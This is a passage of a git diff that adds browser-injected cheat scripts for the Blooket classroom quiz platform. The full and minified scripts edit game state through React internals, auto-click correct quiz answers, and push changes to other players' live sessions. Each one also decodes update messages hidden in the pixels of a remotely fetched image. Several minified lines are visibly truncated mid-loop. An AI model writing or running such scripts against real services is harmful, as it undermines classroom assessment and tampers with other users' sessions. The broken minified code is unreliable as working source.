"https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/setCash.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271874 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/setCash.min.js b/cheats/factory/setCash.min.js new file mode 100644 index 0000000..6d9d2b5 --- /dev/null +++ b/cheats/factory/setCash.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tsetCash.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({cash:parseInt(prompt("How much cash would you like?"))})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/setCash.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/fishing/frenzy.js b/cheats/fishing/frenzy.js new file mode 100644 index 0000000..c748eb4 --- /dev/null +++ b/cheats/fishing/frenzy.js @@ -0,0 +1,47 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, + f: "Frenzy", + s: true + } + }) + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/frenzy.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271882 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/fishing/frenzy.min.js b/cheats/fishing/frenzy.min.js new file mode 100644 index 0000000..d20c61f --- /dev/null +++ b/cheats/fishing/frenzy.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tfrenzy.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/frenzy.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/fishing/readme.md b/cheats/fishing/readme.md new file mode 100644 index 0000000..aba53b9 --- /dev/null +++ b/cheats/fishing/readme.md @@ -0,0 +1,10 @@ +# Fishing Frenzy Cheats + +## [Frenzy](frenzy.js) +Sets everyone to frenzy mode + +## [Set Lure](setLure.js) +Sets fishing lure (range 1 - 5) + +## [Set Weight](setWeight.js) +Sets weight \ No newline at end of file diff --git a/cheats/fishing/removeDistraction.js b/cheats/fishing/removeDistraction.js new file mode 100644 index 0000000..4607a42 --- /dev/null +++ b/cheats/fishing/removeDistraction.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ party: "" }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/removeDistraction.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271887 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/fishing/removeDistraction.min.js b/cheats/fishing/removeDistraction.min.js new file mode 100644 index 0000000..6108461 --- /dev/null +++ b/cheats/fishing/removeDistraction.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tremoveDistraction.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({party:""})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/removeDistraction.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/fishing/sendDistraction.js b/cheats/fishing/sendDistraction.js new file mode 100644 index 0000000..90d2b77 --- /dev/null +++ b/cheats/fishing/sendDistraction.js @@ -0,0 +1,52 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const f = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)]; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, f, s: true + } + }); + alert(`Sent a ${f} distraction`); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/sendDistraction.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271891 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/fishing/sendDistraction.min.js b/cheats/fishing/sendDistraction.min.js new file mode 100644 index 0000000..da0d618 --- /dev/null +++ b/cheats/fishing/sendDistraction.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsendDistraction.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe"),t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"],e=["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())];t.safe=!0,t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:t.state.weight,f:e,s:!0}}),alert(`Sent a ${e} distraction`)};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/sendDistraction.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/fishing/setLure.js b/cheats/fishing/setLure.js new file mode 100644 index 0000000..d42399a --- /dev/null +++ b/cheats/fishing/setLure.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ lure: Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)"))) - 1, 4), 0) }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/setLure.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271896 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/fishing/setLure.min.js b/cheats/fishing/setLure.min.js new file mode 100644 index 0000000..12b2bfc --- /dev/null +++ b/cheats/fishing/setLure.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetLure.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({lure:Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)")))-1,4),0)})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/setLure.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/fishing/setWeight.js b/cheats/fishing/setWeight.js new file mode 100644 index 0000000..2fc71ba --- /dev/null +++ b/cheats/fishing/setWeight.js @@ -0,0 +1,52 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let weight = Number(parseInt(prompt("How much weight would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ weight, weight2: weight }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: weight, + f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)] + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/setWeight.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271905 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/fishing/setWeight.min.js b/cheats/fishing/setWeight.min.js new file mode 100644 index 0000000..b23b02d --- /dev/null +++ b/cheats/fishing/setWeight.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetWeight.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much weight would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({weight:e,weight2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:e,f:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())]}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/fishing/setWeight.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,i())})(); \ No newline at end of file diff --git a/cheats/flappy/readme.md b/cheats/flappy/readme.md new file mode 100644 index 0000000..30e2c4c --- /dev/null +++ b/cheats/flappy/readme.md @@ -0,0 +1,7 @@ +# Flappy Blook Cheats + +### [Set Score](setScore.js) +Sets flappy blook score + +### [Toggle Ghost](toggleGhost.js) +Lets you go through the pipes \ No newline at end of file diff --git a/cheats/flappy/setScore.js b/cheats/flappy/setScore.js new file mode 100644 index 0000000..0628943 --- /dev/null +++ b/cheats/flappy/setScore.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({ score: parseFloat("0" + prompt("What do you want to set your score to?")) }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/flappy/setScore.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271910 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/flappy/setScore.min.js b/cheats/flappy/setScore.min.js new file mode 100644 index 0000000..a7c9335 --- /dev/null +++ b/cheats/flappy/setScore.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetScore.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({score:parseFloat("0"+prompt("What do you want to set your score to?"))})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/flappy/setScore.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let o=t.getImageData(0,0,this.width,this.height)["data"],e="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/flappy/toggleGhost.js b/cheats/flappy/toggleGhost.js new file mode 100644 index 0000000..52dcba7 --- /dev/null +++ b/cheats/flappy/toggleGhost.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x.gameObject.frame.texture.key.startsWith("blook") && (x.checkCollision.none = x.gameObject.alpha == 1, x.gameObject.setAlpha(x.gameObject.alpha == 1 ? 0.5 : 1))); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/flappy/toggleGhost.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271916 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/flappy/toggleGhost.min.js b/cheats/flappy/toggleGhost.min.js new file mode 100644 index 0000000..0d5eb58 --- /dev/null +++ b/cheats/flappy/toggleGhost.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\ttoggleGhost.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e.gameObject.frame.texture.key.startsWith("blook")&&(e.checkCollision.none=1==e.gameObject.alpha,e.gameObject.setAlpha(1==e.gameObject.alpha?.5:1)))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/flappy/toggleGhost.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/global/autoAnswer.js b/cheats/global/autoAnswer.js new file mode 100644 index 0000000..c9adde1 --- /dev/null +++ b/cheats/global/autoAnswer.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0]) + } catch { } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/autoAnswer.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271923 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/autoAnswer.min.js b/cheats/global/autoAnswer.min.js new file mode 100644 index 0000000..ed1d7c3 --- /dev/null +++ b/cheats/global/autoAnswer.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tautoAnswer.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const a=async()=>{const{state:{question:o,stage:e,feedback:t},props:{client:{question:n}}}=Object.values(document.querySelector('body 